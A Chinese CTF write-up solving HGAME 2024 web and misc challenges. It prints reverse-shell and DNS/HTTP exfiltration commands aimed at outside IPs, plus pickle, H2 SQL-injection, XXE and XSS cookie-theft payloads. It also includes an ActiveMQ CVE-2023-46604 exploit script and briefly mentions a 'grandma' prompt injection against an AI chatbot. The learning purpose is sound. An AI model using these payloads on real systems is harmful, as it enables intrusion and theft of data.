2024 Hgame Web&Misc复现(附docker) 部分wp
复现–官方题目附件+收集环境:链接:https://pan.baidu.***/s/1fNtXf9epA7tIsfPeiHITDg?pwd=8888
提取码:8888
第一周
ezHTTP
referer
User-Agent
fakeIP一把梭
jwt.io
eyJhbGciOiJIUzI1NiIsInR5***I6IkpXVCJ9.eyJGMTRnIjoiaGdhbWV7SFRUUF8hc18xbVAwclQ0bnR9In0.VKMdRQllG61JTReFhmbcfIdq7MvJDncYpjaT7zttEDc
flag:hgame{HTTP_!s_1mP0rT4nt}
Bypass it
js实现跳转
http://47.100.137.175:31851/login.html
注册也用js实现判断
注册成功后 开启js 登录
拿到flag
flag hgame{50a83b0a088d24a2aec65050c6d34508b156b440}
Select Course
开始以为是 爬虫+selenuim实现ajax动态获取host+port
开启靶机瞬间 发包 多线程 实现准点抢课
写好了 不行…
发现想复杂了
模拟已选后 有人退出 才可选
异步 /api/courses 发json
写个脚本
import requests
import json
base_url = f"http://47.100.137.175:30110"
headers = {
'Content-Type': 'application/json'
}
while True:
for i in range(1, 6):
post_url = f"{base_url}/api/courses"
payload = {
"id": i
}
post_response = requests.post(post_url, headers=headers, json=payload)
if post_response.status_code == 200:
print(post_response.text)
print(f"POST Request for id {i} Su***essful")
else:
print(f"POST Request for id {i} failed with status code {post_response.status_code}")
get_url = f"{base_url}/api/ok"
get_response = requests.get(get_url, headers=headers)
if get_response.status_code == 200:
print("GET Request Su***essful")
else:
print(f"GET Request failed with status code {get_response.status_code}")
跑一会
莫名其妙的题
flag:hgame{w0W_!1E4Rn_To_u5e_5cripT_}
2048
参考 原版逻辑 https://play2048.co/
拿关键字 game-won
解密函数 修改 x=1 即可
console中
var n = h;t = 1 ? s0(n(439), "V+g5LpoEej/fy0nPNivz9SswHIhGaDOmU8CuXb72dB1xYMrZFRAl=QcTq6JkWK4t3") : n(453);console.log(t);
flag:flag{b99b820f-934d-44d4-93df-41361df7df2d}
jhat
jhat
(Java Heap Analysis Tool)是Java Development Kit(JDK)提供的一个工具,用于分析Java堆转储文件(heap dump files)。堆转储文件通常包含了在特定时间点上的Java应用程序内存分配信息,是JVM(Java虚拟机)在运行过程中或在出现OutOfMemoryError时生成的。jhat
分析这些文件并提供一个HTTP/HTML界面,允许用户查询堆内对象和类的信息。
做完就给hint了…
不出网卡了半天
hint: oql 实现 rce
参考 https://github.***/adipinto/security-advisories/blob/master/framework/GemFile/20141125_rce_through_reflection/README.md
写的比较深入
简化:实际可以不用反射 (按实际情况来)
看看 select s from java.lang.Runtime s
静态类可用
看下ProcessBuilder
无不可用
用 java.lang.Runtime.getRuntime().exec('ls')
unixprocess多半执行了
侧面验证 无nc
java 的命令执行
用java.lang.String 重写一个太复杂
一般java反弹shell为 new String[]{"/bin/bash","-c",“bash -i >& /dev/tcp/ip/port 0>&1”}
这里直接用
bash -c {echo,Y3VybCAxNDguMTM1LjgyLjE5MC8yIHwgYmFzaA==}|{base64,-d}|{bash,-i}
[!NOTE]
为什么我们直接 会失效了?
curl `cat /f*`.yourdns.***
因为 java.lang.Runtime.getRuntime().exec("")
会将传入的字符串当作命令执行(但是不经过shell的解释器)
但他不完全等同于我们shell(不完全的shell)部分shell的特性和功能并不完全
这里要经过shell解释器,需要显性调用 bash -c “***mand”
{echo,Y3VybCAxNDguMTM1LjgyLjE5MC8yIHwgYmFzaA==}|{base64,-d}|{bash,-i}
利用base64编码绕过这种方法可以绕过exec方法中调用shell的特性的限制
不出网 方法总结
1.写静态文件
2.dns协议基于udp
3.控制response回显结果
https://github.***/sisterAn/blog/issues/108
走udp信道
payload :java.lang.Runtime.getRuntime().exec('bash -c {echo,Y3VybCB5ZW5hZG5wcXVuLmRncmgzLmNu}|{base64,-d}|{bash,-i}')
直接外带
payload
java.lang.Runtime.getRuntime().exec('bash -c {echo,Y3VybCBgY2F0IC9mKmAueWVuYWRucHF1bi5kZ3JoMy5jbg==}|{base64,-d}|{bash,-i}')
添上{}
flag hgame{ad83e7e16477***e14e7c594c7d3197b8c0d653c2}
SignIn
换一种视角 高度扁平
画图改一下高宽
来自星尘的问候
jpg图片+弱密码
steghide info secret.jpg探测是否是隐藏文件(带密码)在就jpg中
提取文件
结合题目查询 来自星尘的异星字体 https://my1l.github.io/Ctrl/CtrlAstr.html
对照
flag:hgame{welc0me!}
simple_attack
特征:有一张图片和加密的zip包(图片名字一致)
一样的文件 zip 明文加密
如果将压缩包中的某个文件用同样的压缩软件同样的压缩方式进行无密码的压缩,得到的文件就是
Known plaintext(已知明文)。用这个无密码的压缩包和有密码的压缩包进行比较,分析两个包中相同
的文件,抽取出两个文件的不同点,应该有12byte不同,即3个key。使用key无法直接还原出密码,但是可以利用key解压其他文件,达到了最终的目的
同一个zip文件里面的所有文件都是通过一个加密密钥加密的
用bandzip压缩一下图片 acr - 明文攻击
跑一会
解密后base64转图片
希儿希儿希尔
一张无法正常显示的png图片
用tweakpng 检查一下 png
1.CRC不正确
告诉我们存在隐藏文件 --binwalk
CRC错误用风二西 png 宽高爆破工具
修复成功
binwalk探测 是否有文件包含
binwalk -e secret_3945.png
拿到一串 密文 CVOCRJGMKLDJGBQIUIVXHEYLPNWR
上zsteg 解析 png和bmp
KEY:[[8 7][3 8]];A=0
当然用stegsolve 图片存在[lsb隐写]也可以
不清楚加密方式
搜索题目 希尔密码 (很多时候题目也是hint之一)
转大写 hgame{DISAPPEARINTHESEAOFBUTTERFLY}
第二周
Select Course
编写多线程脚本即可
Python反序列化(myflask)
注意几点
-
靶机中有没有os模块
-
基于栈的虚拟机,在相应的平台上运行poc
如果靶机环境没有os 就 __import__('os')
import pickle
import base64
class A(object):
def __reduce__(self):
return (eval, ("__import__('os').popen('tac /flag').read()",))
a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))
常用payload
import pickle
import os
import base64
class aaa():
def __reduce__(self):
return(os.system,('bash -c "bash -i >& /dev/tcp/ip/port 0>&1"',))
a= aaa()
payload=pickle.dumps(a)
payload=base64.b64encode(payload)
print(payload)
#注意payloads生成的shell脚本需要在目标机器操作系统上执行,否则会报错
search4member(H2_RCE)
mvn仓库 —>h2database RCE
类似原生JDBC写法 可以看到表的字段和结构
like + % sql拼接注入
拼接 %’; 注意 % urlencode编码一下 和http 功能字符 重合
union注入有回显
尝试 (select group_concat(*) from H2.member ) 服务器报错
参考h2_rce
//创建别名
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$;
//调用SHELLEXEC执行命令
CALL SHELLEXEC('id');
payload: dns外带
?keyword=zzz%25';CALL SHELLEXEC('bash -c {echo,Y3VybCBgY2F0IC9mKmAubmVxc215a3Rpbi5kZ3JoMy5jbg==}|{base64,-d}|{bash,-i}');--+-
梅开二度 (Go的模板注入+xss)
参考:
HGAME 2024 WEEK2 Web方向题解 全:link
未做安全限制转义可能存在 xss 攻击
r.GET("/flag", func(c *gin.Context) {
if c.RemoteIP() != "127.0.0.1" {
c.String(403, "you are not localhost")
return
}
flag, err := os.ReadFile("/flag")
if err != nil {
c.String(500, "read flag error")
return
}
c.SetCookie("flag", string(flag), 3600, "/", "", false, true)//设置Cookie
c.Status(200)
})
r.Run(":8080")
}
读取/flag并将内容作为Cookie返回
思路:bot访问/flag作为cookie通过dns携带出来
可以看到当前对象存在Query方法
参考:
[]: https://www.secpulse.***/archives/192052.html “浅学Go下的ssti”
template常用基本语法
在{{}}内的操作称之为pipeline
{{.}} 表示当前对象,如user对象
{{.FieldName}} 表示对象的某个字段
{{range …}}{{end}} go中for…range语法类似,循环
{{with …}}{{end}} 当前对象的值,上下文
{{if …}}{{else}}{{end}} go中的if-else语法类似,条件选择
{{xxx | xxx}} 左边的输出作为右边的输入
{{template "navbar"}} 引入子模版
安全过滤
-
var re = regexp.Must***pile(`script|file|on`) //过滤关键词 绕过可以类似 php二次传参
-
len(tmplStr) > 50
限制字符长度
3.tmplStr = html.EscapeString(tmplStr)
用反引号代替单引号和双引号
黑盒
payload`如下,执行后回显的值为`95272022
{{println 0B101101011011011110001010110}}
存在xss
?tmpl={{.Query `a`}}&a=<script>alert(1)</script>
保证 /flag通过localhost访问 用/bot发送请求
/bot?url=http://127.0.0.1:8080/?tmp1={{.Query `test`}}&test=<script>alert('xss')</script> //不可用
思考 以前我们SSRF攻击为什么要 urlencode两次(被解码两次,经过两次服务器自动解码)
这里同理
/bot?url=http://127.0.0.1:8080/?tmp1={{.Query test}}&test=<script>alert('xss')</script> //不可用
整体编码一次 后
再次编码这里引用一下Jay17师傅的blog
HttpOnly限制客户端js代码的访问cookie,只能通过HTTP传输带出Cookie
师傅原话
==坑点4:==花括号问题
因为flag里面有花括号,导致了DNS带不出数据。。。。。
尝试采用base64和url编码,带出也失败了,猜测不仅仅是花括号,其他的等号、百分号也会导致无法带出。。。
那我们就用字符串截取.substring()方法,截取flag中花括号内的纯字符。
编写js代码 实现访问/flag 返回cookie再截取cookie长度 通过dns信道带出
window.open("http://127.0.0.1:8080/flag"); //获取cookie(flag)
setTimeout(function(){ //延时1s执行
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://127.0.0.1:8080/?tmpl={{.Cookie `flag`}}');
xhr.withCredentials = true; //允许请求携带跨域凭证(如cookies)
xhr.send();
xhr.onreadystatechange=function(){
//从响应文本中截取前4个字符,并前缀添加y,存储在变量a中。
var a="y"+(xhr.responseText).substring(0,4);
//var a="y"+(xhr.responseText).length; //获取flag长度
window.open("http://"+a+".kbqsag.ceye.io"); //带出想要的数据(变量a)
};
},1000)
对代码行的逐行解释:(GPT4)
window.open("http://127.0.0.1:8080/flag"); //获取cookie(flag)
这行代码通过window.open()
方法打开了一个新的浏览器窗口,访问了指定URL(http://127.0.0.1:8080/flag)。这个URL是用来获取包含cookie信息的flag
setTimeout(function(){ //延时1s执行
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://127.0.0.1:8080/?tmpl={{.Cookie `flag`}}');
xhr.withCredentials = true; //允许请求携带跨域凭证(如cookies)
xhr.send();
xhr.onreadystatechange=function(){
//从响应文本中截取前4个字符,并前缀添加y,存储在变量a中。
var a="y"+(xhr.responseText).substring(0,4);
//var a="y"+(xhr.responseText).length; //获取flag长度
window.open("http://"+a+".kbqsag.ceye.io"); //带出想要的数据(变量a)
};
},1000)
这段代码使用了setTimeout
函数,将包含XHR请求的代码延时执行1秒。
首先,创建了一个XMLHttpRequest对象xhr
,用于发送HTTP请求。然后,使用open()
方法指定了GET请求的URL(http://127.0.0.1:8080/?tmpl={{.Cookie flag
}}),其中{{.Cookie flag
}}是一个占位符,用于获取名为flag
的cookie值。
接下来,通过设置xhr.withCredentials
为true
,允许跨域请求携带凭证(例如cookies)。
然后,使用send()
方法发送GET请求。
接着,通过onreadystatechange
事件处理程序,监听xhr
对象的状态变化。当请求状态发生变化时,会触发这个事件处理程序。在此处理程序中,通过xhr.responseText
获取响应文本内容,并截取前4个字符。将截取的字符前缀添加y
,存储在变量a
中。
最后,使用window.open()
方法打开了一个新的浏览器窗口,访问了以变量a
作为URL一部分的网址(例如,http://yxxxx.kbqsag.ceye.io)。这个URL可能是用来带出想要的数据(变量a
)并进行记录或分析。
太菜了,没能力自己编写js代码`(>﹏<)′
ek1ng_want_girlfriend
导出对象----->HTTP
选择图片保存
ezWord
特征:一个zip文件中有word文件
提示
binwalk 查看一下
发现内部存在 zip文件
binwalk -e 文件名
发现提示 恭喜你找到了这些东西,现在你离flag只差解开这个新的压缩包,然后对压缩包里的东西进行两层解密就能获得flag了。压缩包的密码和我放在这的两张图片有关。
特征:两张一模一样的图片+带密码的压缩包 考虑盲水印
可以拿到密钥 T1hi3sI4sKey
提示+1 你好,很高兴你看到了这个压缩包。请注意:这个压缩包的密码有11位数而且包含大写字母小写字母和数字。还有一个要注意的是,里面的这一堆英文decode之后看上去是一堆中文乱码实际上这是正常现象,如果看到它们那么你就离成功只差一步了。
得到一封看似信的文本
一堆英文decode之后看上去是一堆中文乱码
想办法decode为中文 信件加密 https://spammimic.***/decode.shtml
得到中文乱码
籱籰籪籶籮粄簹籴籨粂籸籾籨籼簹籵籿籮籨籪籵簺籨籽籱簼籨籼籮籬类簼籽粆
中文乱码转 unicode
\u7c71\u7c70\u7c6a\u7c76\u7c6e\u7c84\u7c39\u7c74\u7c68\u7c82\u7c78\u7c7e\u7c68\u7c7c\u7c39\u7c75\u7c7f\u7c6e\u7c68\u7c6a\u7c75\u7c3a\u7c68\u7c7d\u7c71\u7c3c\u7c68\u7c7c\u7c6e\u7c6c\u7c7b\u7c3c\u7c7d\u7c86
16进制
71 70 6a 76 6e 84 39 74 68 82 78 7e 68 7c 39 75 7f 6e 68 6a 75 3a 68 7d 71 3c 68 7c 6e 6c 7b 3c 7d 86
hgame{的16进制
68 67 61 6d 65 7b
打开程序员计算器
会发现 DEC 差 9位
s1 = '71 70 6a 76 6e 84 39 74 68 82 78 7e 68 7c 39 75 7f 6e 68 6a 75 3a 68 7d 71 3c 68 7c 6e 6c 7b 3c 7d 86'.split()
s2 = 'hgame{'
for i in range(len(s1)):
print(chr(int(s1[i],16)-9),end='')
hgame{0k_you_s0lve_al1_th3_secr3t}
补充:rot8000一键秒
龙之舞
特征:wav文件+开头尖锐频率
deepsound打开提示输入密码
Au打开后
处理翻转后
5H8w1nlWCX3hQLG
xxx.zip打开后是 gif 每帧分离
画图拼接
无法识别 处理二维码
https://merri.cx/qrazybox/ tools-Brute-force 然后decode可以得到结果
第三周
Vider box(XXE盲注+file读取远程文件)
Springboot架构
路由 /backdoor
参数 fname
this.workdir + fname + this.suffix
拼接file:///non_exists/+fname+xml
考点:xxe盲注+file://协议如何远程读xml文件
思考:file://可以读取远程服务器上的文件吗?(为什么类似ftp特性)
我们可以本地调试一下
可以看到调试信息
file://协议可以作为ftp-client 发送ftp请求连接
1.本地调试java如何处理ftp请求(usename?password?)(可跳过见反思)
宝塔开ftp服务
类比ssrf绕过
schema://username:password@url/file
如果我们访问ftp://ip/2.xml没有设定账户和密码 java会如何处理了?
例如随便开个ftp服务 用户名密码随机
在 23.94.38.86 /www/wwwroot/anonymous 放了一个 1.xml
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://148.135.82.190/1.dtd">
%remote;%int;%send;
]>
进行关键词检查
xml可以解析utf8 utf16 utf32(部分)
iconv -f utf8 -t utf16 1.xml>2.xml
转换字符单集编码
现在访问
java爆出username password错误
java调试跟进
可知道 user==null时
user = "anonymous";
断点步入
password=”Java17.0.10@”
可知规律 Java17.0.x@
2.现在我们远程环境测试真实环境
2.由dockerfile版本可知
JDK 17 的版本镜像
真正的环境password可能是 Java17.0.(0-9)@
测出来 Java17.0.2@
触发xml访问 148.135.82.190/1.dtd
可以监听 148.135.82.190 80 端口 判断正确
可以看到请求
现在在148.135.82.190 /1.dtd创建文件
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://148.135.82.190:8888/1.txt?p=%file;'>">
开启web服务
监听 8888端口
再次访问 http://23.94.38.86:9300/backdoor?fname=…/…/23.94.38.86:21/2
可以拿到flag
xxe盲注的经典操作就是通过xml→dtd→HTTP信道带出数据
我踩的坑:xxe盲注习惯用php://filter读flag(转base64) 但没有php环境,自然也不能用伪协议(忘改poc了)
反思:难道我们一定要拿Java默认ftp连接密码?
信息搜集时 我们经常 对ftp 21端口服务进行
nmap -sC -p21 ip
进行默认脚本扫描
ftp最著名的就是 匿名登录 账号anonymous 密码任意
可以在vps开一个匿名vps服务
pip install pyftpdlib
python3 -m pyftpdlib -p21
username:anonymous password:任意
重复xxe盲注结果即可
难道我们一定要file://读取远程服务?
参考:
hgame_week3_wplink
WebVpn(对JS原型链污染的再理解)
Nodejs的一些问题
本地有源码都可以,调试输出,极大理清题目原理
JS原型链污染原理再理解
P牛的总结:
对象.__proto__=构造函数.prototype
js中的类是通过函数实现的(伪类)
我们不妨这样理解 调用
对象.__proton__
—>构造方法(constructor).prototype—>构造函数的原型上层(本题是Object)
本题的构造方法(constructor)为userStorage 为一个对象(容器)
function update(dst, src) {
for (key in src) {
if (key.indexOf("__") != -1) {
continue;
}
if (typeof src[key] == "object" && dst[key] !== undefined) {
update(dst[key], src[key]);
continue;
}
dst[key] = src[key];
}
}
注意__proto__
被过滤 用 原理理解
对象.__proton__
—>构造方法(constructor).prototype—>构造函数的原型上层
可以用{”constructor”:{”prototype”:{}}} 进行污染
污染源:
update(userStorage[req.session.username].info, req.body);
接收req.body → userStorage.username.info
而userStorage.username.info.constructor.prototype=object
//污染后
//object.127.0.0.1=true
res.render("home", {
username: req.session.username,
strategy: ((list)=>{
var result = [];
for (var key in list) {
result.push({host: key, allow: list[key]});
}
return result;
})(userStorage[req.session.username].strategy),
/*userStorage[req.session.username].strategy={
"baidu.***": true,
"google.***": false,
}
*/
});
这里是 JS的匿名函数写法
将userStorage[req.session.username].strategy 传入 作为 list(形参)
等价于
for (var key in userStorage.username.strategy) { //list替换了
console.log(key + ": " + userStorage.username.strategy[key]);
}
JS语法特性
我们知道当我们访问对象不存在的属性时 我们会向上层寻找(参考 2023极客大挑战 雨的js原型链污染)
但这里明显 userStorage.username.strategy 是存在的 但我们任然可以利用成功,这是为什么?
可以看到userStorage.username.strategy 的键值对正常
这是JS的语法缺陷
在JavaScript中,使用 for...in
循环迭代一个对象时,默认情况下它会遍历该对象所有的可枚举属性(包括那些继承自原型链的属性)。所以,如果你注意到除了对象本身的属性之外还有其他的属性被输出了,那可能是因为你的对象继承了额外的属性。
和Java反射getmethod(包括继承父类和public方法)和getallmethod(仅包含自身所有方法)有异曲同工之妙
例如,如果有人给 Object.prototype
添加了一个新的属性或方法,那么这个新的属性或方法也会出现在所有使用 for...in
循环迭代的对象中。这通常不是你想要的行为,因为它可能会导致一些不可预料的问题,尤其是当你只想处理对象本身拥有的属性时。
使用 for...in
循环迭代一个对象 会遍历该对象所有的可枚举属性(包括那些继承自原型链的属性) 就是 object.127.0.0.1=true也会包含
res.render("home", {
username: req.session.username,
strategy: ((list)=>{
var result = [];
for (var key in list) {
result.push({host: key, allow: list[key]});
}
return result;
})(userStorage[req.session.username].strategy),
});
重新渲染后 可以利用成功
payload
{"constructor":{"prototype":{"127.0.0.1":true}}}
可以成功污染
req.headers.host != "127.0.0.1:3000" || HTTP头中的Host
req.hostname != "127.0.0.1" || 判断请求的主机名是否不等于"127.0.0.1
req.ip != "127.0.0.1" 判断请求的IP地址
类似SSRF 访问内网
web服务暴露在3000端口
app.listen(port, '0.0.0.0', () => {
console.log(`app listen on ${port}`); //port为3000
});
访问/proxy?url=http://127.0.0.1:3000/flag即可得到flag
ZeroLink(Go的特性+unzip的软链接)
这里先了解Go的一个语言特性
变量的赋值
var test int
如果变量的赋值没有初始化,不像C语言会随机赋值而是固定的 0
在Go语言中,每种数据类型都有一个默认的零值:对于数值类型是0
,布尔类型是false
,字符串是""
(空字符串),而指针、切片、映射、函数、接口、通道的零值则是nil
。当一个变量被声明但没有显式初始化时,它的值就是该类型的零值。这种设计确实带来了一个挑战,特别是在处理JSON和数据库操作时,那就是如何区分一个字段是显式设置为零值,还是根本就没有被设置(即是否为“零值”或是“未赋值”)。
无法判断 没有赋值 还是特意赋值为 零值
Go的结构分析
虽然我对go不熟悉(但是看英文也大概可以猜出大致的意思)
/cmd/main.go 程序的入口
进入路由/internal/routes 可以看到定义的接口/api/*
进入controller查看具体的实现功能
首先我们要user登录
禁止了Username=Admin 或者 Token=0000
引入 数据库 /internal/database “gorm.io/gorm”
调用 GetUserByUsernameOrToken 函数
func GetUserByUsernameOrToken(username string, token string) (*User, error) {
var user User
query := db
if username != "" {
query = query.Where(&User{Username: username})
} else {
query = query.Where(&User{Token: token})
}
err := query.First(&user).Error
if err != nil {
log.Println("Cannot get user: " + err.Error())
return nil, err
}
return &user, nil
}
如果我们username为空也无法判读是否传值
引用出题人的话
在 GetUserByUsernameOrToken 中,这⾥是给Gorm的Where函数传递了⼀个User对象,如果这
个对象的username属性值为空字符串,Gorm内部将⽆法分辨User的username属性是否被赋值过,
这导致Gorm在⽣成SQL语句时不会为该属性⽣成条件语句,此时的SQL语句如下:
1 SELECT * FROM
user
LIMIT 1这个SQL语句会直接查询表中第⼀个⽤⼾,⽽很多⽤⼾数据库的第⼀个⽤⼾就是管理员,这题也是如
此。
1.当我们传入的{“username”:"",“id”:0}不会为username生成条件语句,gorm库其实也可以通过id来定位
可以得知id为0
传入 {“username”:"",“id”:0}
2.同理传入{“username”:"",“token”:""}
后端处理后进行查询处理后 不会为任何属性⽣成条件语句
等价于 SELECT * FROM user LIMIT 1
拿到了 Admin的password
爆出了admin的密码登录后台 可以看到zip文件的上传接口
上传zip文件(软链接)
windows+linux环境下 打包zip文件 无法上传 前端限制
我传的不是zip文件吗?看看原因,可以写个html表单上传文件
<form action="http://23.94.38.86:9303/api/upload" enctype="multipart/form-data" method="post">
<input name="file" type="file"/>
<input type="submit" value="upload" />
</form>
抓包后
Content-Type: application/x-zip-***pressed 确实不是application/zip
如何处理?
Content-Type由客户端决定 我们切换linux提交文件
参考unzip软链接 cis***2023
解题步骤:
- 建立超链接
- 打包zip文件
- 覆盖/app/secret 文件
func ReadSecretFile(c *gin.Context) {
secretFilepath := "/app/secret"
content, err := util.ReadFileToString(secretFilepath)
if err != nil {
c.JSON(http.StatusInternalServerError, FileResponse{
Code: http.StatusInternalServerError,
Message: "Failed to read secret file",
Data: "",
})
return
}
//将/app/secret 中的内容当作content传入,再读取content指向的文件
secretContent, err := util.ReadFileToString(content)
if err != nil {
c.JSON(http.StatusInternalServerError, FileResponse{
Code: http.StatusInternalServerError,
Message: "Failed to read secret file content",
Data: "",
})
return
}
注意以上代码实现了两次读取
具体实现
-
kail中先创建/app目录
mkdir /app
-
创建快捷方式
ln -s 1.zip link
-
zip压缩保留 软链接
zip --symlink 1.zip link
-
解压后现在靶机上的link------>/app
-
删除link 创建link文件目录
mkdir link
-
link目录下创建 secret文件 内容是/flag
-
zip -r 2.zip ./link
-r代表目录递归
每次上传后访问/api/unzip
最后访问/api/secret得到flag
与ai聊天
经典提示词注入(扮演祖母)
vmdk取证
一个vmdk文件
VMDK(Virtual Machine Disk)是一种用于虚拟机的磁盘文件格式
基本概念:
-
SYSTEM
和SAM
文件:在Windows系统中,SAM
(安全账户管理器)数据库存储了所有本地账户的密码哈希值,而SYSTEM
文件包含系统加密密钥。这些文件位于%SystemRoot%\system32\config
目录。 - NTLM哈希:NTLM(NT LAN Manager)是Windows用于认证的一种加密协议,账户密码的哈希版本存储在SAM数据库中。
用7zip软件打开 vmdk文件
C:\WINDOWS\system32\config提取 SAM和system
lsadump::sam /sam:SAM /system:SYSTEM
提取到管理员的Hash NTLM
flag=hgame{dac3a2930fc196001f3aeab959748448_Admin1234}
简单的取证,不过前十个有红包
直接在vmdk虚拟磁盘 桌面发现secret图片
提示用vercrypt解密
密码:968fJD17UBzZG6e3yjF6
直接打开挂载输入密码即可
hgame{happy_new_year_her3_1s_a_redbag_key_41342177}
Blind SQL Injection
导出对象-HTTP对象
二分法+布尔盲注 每次截取最后一位flag 正确字符(注意reverse)
工具秒了
反转一下
flag{cbabafe7-1725-4e98-bac6-d38c5928af2f}
第四周
Reverse and Escalation
用vulhub的漏洞环境复现 CVE-2023-46604
Apache ActiveMQ OpenWire 协议反序列化命令执行漏洞(CVE-2023-46604)
搭建漏洞环境 可以根据官方的说明poc改写
在我们vps web服务上放置 poc.xml
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value>{echo,YmFzaCAtaSA+JiAvZGV2L3Rj***8xNDguMTM1LjgyLjE5MC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}</value>
</list>
</constructor-arg>
</bean>
</beans>
import io
import socket
import sys
def main(ip, port, xml):
classname = "org.springframework.context.support.ClassPathXmlApplicationContext"
socket_obj = socket.socket(socket.AF_I***, socket.SOCK_STREAM)
socket_obj.connect((ip, port))
with socket_obj:
out = socket_obj.makefile('wb')
# out = io.BytesIO() # 创建一个内存中的二进制流
out.write(int(32).to_bytes(4, 'big'))
out.write(bytes([31]))
out.write(int(1).to_bytes(4, 'big'))
out.write(bool(True).to_bytes(1, 'big'))
out.write(int(1).to_bytes(4, 'big'))
out.write(bool(True).to_bytes(1, 'big'))
out.write(bool(True).to_bytes(1, 'big'))
out.write(len(classname).to_bytes(2, 'big'))
out.write(classname.encode('utf-8'))
out.write(bool(True).to_bytes(1, 'big'))
out.write(len(xml).to_bytes(2, 'big'))
out.write(xml.encode('utf-8'))
# print(list(out.getvalue()))
out.flush()
out.close()
if __name__ == "__main__":
if len(sys.argv) != 4:
print("Please specify the target and port and poc.xml: python3 poc.py 127.0.0.1 61616 "
"http://192.168.0.101:8888/poc.xml")
exit(-1)
main(sys.argv[1], int(sys.argv[2]), sys.argv[3])
利用poc.py python target 61616 xml的文件地址
可以反弹shell
whose home ?
qBittorrent 管理磁力下载的
默认用户登录
username:admin
password:adminadmin
Web-UI改中文
可以测下 是否执行
随便找个torrent上传
curl 没有执行
换ping 获取请求(说明环境无curl命令)
尝试反弹shell
bash -i >& /dev/tcp/ip/8888 0>&1
但是没有反弹shell回来
服务端报错
对bash和sh反弹shell的辨析
bash -i >& /dev/tcp/ip/8888 0>&1
这个命令存在⼀些注意点, ⾸先得理解 bash 反弹 shell 的本质
https://www.k0rz3n.***/2018/08/05/Linux反弹shell(⼀)⽂件描述符与重定向/
https://www.k0rz3n.***/2018/08/05/Linux反弹shell(⼆)反弹shell的本质/
然后你得知道上⾯这个反弹 shell 的语法其实是 bash ⾃身的特性, ⽽其它 shell 例如 sh, zsh 并不⽀持这个功能
对于题⽬的环境⽽⾔, 当你执⾏这条命令的时候, 它实际上是在 sh 的 context 中执⾏的, >& 以及
/dev/tcp/IP/Port 会被 sh 解析, ⽽不是 bash, 因此会报错
解决⽅法也很简单, 将上⾯的命令使⽤ bash -c “” 包裹起来, 即
bash -c “bash -i >& /dev/tcp/ip/8888 0>&1”
让 >& 以及 /dev/tcp/IP/Port 都被 bash 解析, 就能反弹成功了
bash -c "bash -i >& /dev/tcp/148.135.82.190/8888 0>&1"
这样就可以反弹shell回来了
直接cat /flag 没做权限限制(没用上suid提权) 拿到flag1
可以看下当前ip地址
如何判断内网其他存活主机了
arp缓存路由查看 arp -a
确定存活主机100.64.43.4
可以nc扫描存活端口 nc -z ip 1-65535 |grep su***ess
端口22 ssh
端口6800 aria2
aria2
是一款轻量且高效命令行下载工具,它提供了对多协议和多源地址的支持,并尝试将下载带宽利用率最大化,目前支持的协议包括HTTP(S)
、FTP
、BitTorrent
(DHT, PEX, MSE/PE) 和 Metalink
。通过 Metalink
的分块检查,aria2
可以在下载过程中自动的进行数据校验
可以在 /config/qBittorrent.conf 发现常用密码
同理 也可以 qb ⻚⾯信息搜集,获取常⽤密码 Sh3hoVRqMQJAw9D
username=hgame
password=Sh3hoVRqMQJAw9D
第一反应本来想用Venom(Go开发的多级代理工具) +proxychain链(留个疑问?) 但有些问题
**端口复用vps的ip和docker预留ip不同引发的奇怪问题**
如何实现多级代理(正向和反向代理共用) 这里留个坑
他dockerfile都把docekr内网100.64.43.4暴露出来,我们为什么还要配置代理穿透(大大的疑惑???)都可以直接利用6800 服务 成功连接 映射的23端口
但是我们还是走一遍正常流程吧
还是用frp进行代理服务
vps:./frps
默认监听7000端口
靶机上: ./frpc -c frpc.toml
frpc.toml文件内容:
serverAddr = "ip"
serverPort = 7000
[[proxies]]
name = "ssh"
type = "tcp"
localIP = "100.64.43.4"//将本地网络(不一定是靶机ip而是靶机可以访问的ip)
localPort = 22//被映射
remotePort = 6022//出映射的端口
[[proxies]]
name = "rpc"
type = "tcp"
localIP="100.64.43.4"
localPort = 6800
remotePort=6800
现在我们将
100.64.43.4:6800------------->我们的frp-server:6800
100.64.43.4:22----------------->我们的frp-server:6022
通过http://binux.github.io/yaaw/demo/# 利用aria2任意文件读写
配置添加
token的值就是 Sh3hoVRqMQJAw9D
Add功能实现任意文件覆盖
kali上生成ssh公私钥
ssh-keygen -f ./my_ssh_key
将公钥 .pub 覆盖 靶机/root/.ssh/authorized_keys.pub
直接用ssh 免密登录
直接拿/flag
ezKeyboard
hgame{keYb0a1d_gam0__15_s0_f0n__!!~~~~}
感谢大佬们的blog参考:
HGAME 2024 WEEK4 WP: link
HGAME 2024 WEEK2 Web方向题解 全: link
hgame_week3_wp: link
HGAME2024-WEB WP: link